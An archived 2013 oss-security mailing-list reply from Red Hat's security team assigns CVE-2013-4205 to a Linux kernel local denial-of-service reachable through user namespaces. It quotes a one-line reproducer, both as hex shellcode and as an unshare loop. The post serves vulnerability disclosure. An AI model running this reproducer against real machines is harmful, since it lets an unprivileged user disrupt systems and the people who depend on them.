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Message-ID: <52010CA1.4010406@redhat.com> Date: Tue, 06 Aug 2013 08:48:01 -0600 From: Kurt Seifried <kseifried@...hat.com> To: security@...nel.org, oss-security@...ts.openwall.com Subject: Re: CLONE_NEWUSER local DoS -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 08/06/2013 08:31 AM, Petr Matousek wrote: > Hello, > > spender reported [1] a local DoS triggerable by unprivileged user > when user namespaces are enabled (CONFIG_USER_NS). > > [1] https://twitter.com/grsecurity/status/364566062336978944 > > Reproducer: > > b836010000bb00000010cd80ebf2 is for(;;)unshare(1<<28); > > Best regards, > Confirmed with Petr that he confirmed this issue. Please use CVE-2013-4205 for this issue. - -- Kurt Seifried Red Hat Security Response Team (SRT) PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.13 (GNU/Linux) iQIcBAEBAgAGBQJSAQyhAAoJEBYNRVNeJnmT4B0P/A+XAjTt9KdAWV3cyAGj6YLe 3ew+tsXjVXp94QM0ab2eODKlg1HD82v+yd1l5SjpweqQVcHwAT1kw2vHB4IPcjrT 1G9Rqzt0BSU95vNcpvIiOAjm34s7JBjVe6goItnxOJ53+La2YmzyqI/r3EUIRtfe TvdO27J9AY7VDnBYtKARZ1QYkxlGNz39H038V06HdtBKLrh+ta88JQDqhoO0gKNq 3Ud4VJy+RFiDOYb3S42v3luPG3sE4lcfTQtrAms+iLlRhI3IeqsuSvF0MQdAfOl7 enIhm3q6gJAYstTJGCwln1/dk/RnzkNzMFDq37vc2s/Fs3G9miIH5DnXH+ecS2Mb 7niBoXJD5J6ahywAQjmpwXyKB6g2RUHpOavpUZqH7PmlO6rp0ABnsohXax0YjFys 4eVb4Cwu2jBoACH4LaziBH7mGcGYwBKFp826yiqQ2S+c8CFThn4of9eYeCwAn/Cp 7MGbCLHlqRx0f+/8eRXZ0F04+EtJRWb7kVW5oyHbq6/aSfeQvoqv/wwAef+TWF4Y kLGtxpAEoOvKH2I3PiFiJ+gzpM2XNNWTZzLkA6VvhtflsU+a+7/pMd3bNVftA74t xC4SfscWQvqqBjMtUh66vwH0TJ8XxibX+RMsiD0WitrfGEpRvuf41dntOAqmvw8r yn21AfyfhYgnp6FR/c9i =H7i9 -----END PGP SIGNATURE-----
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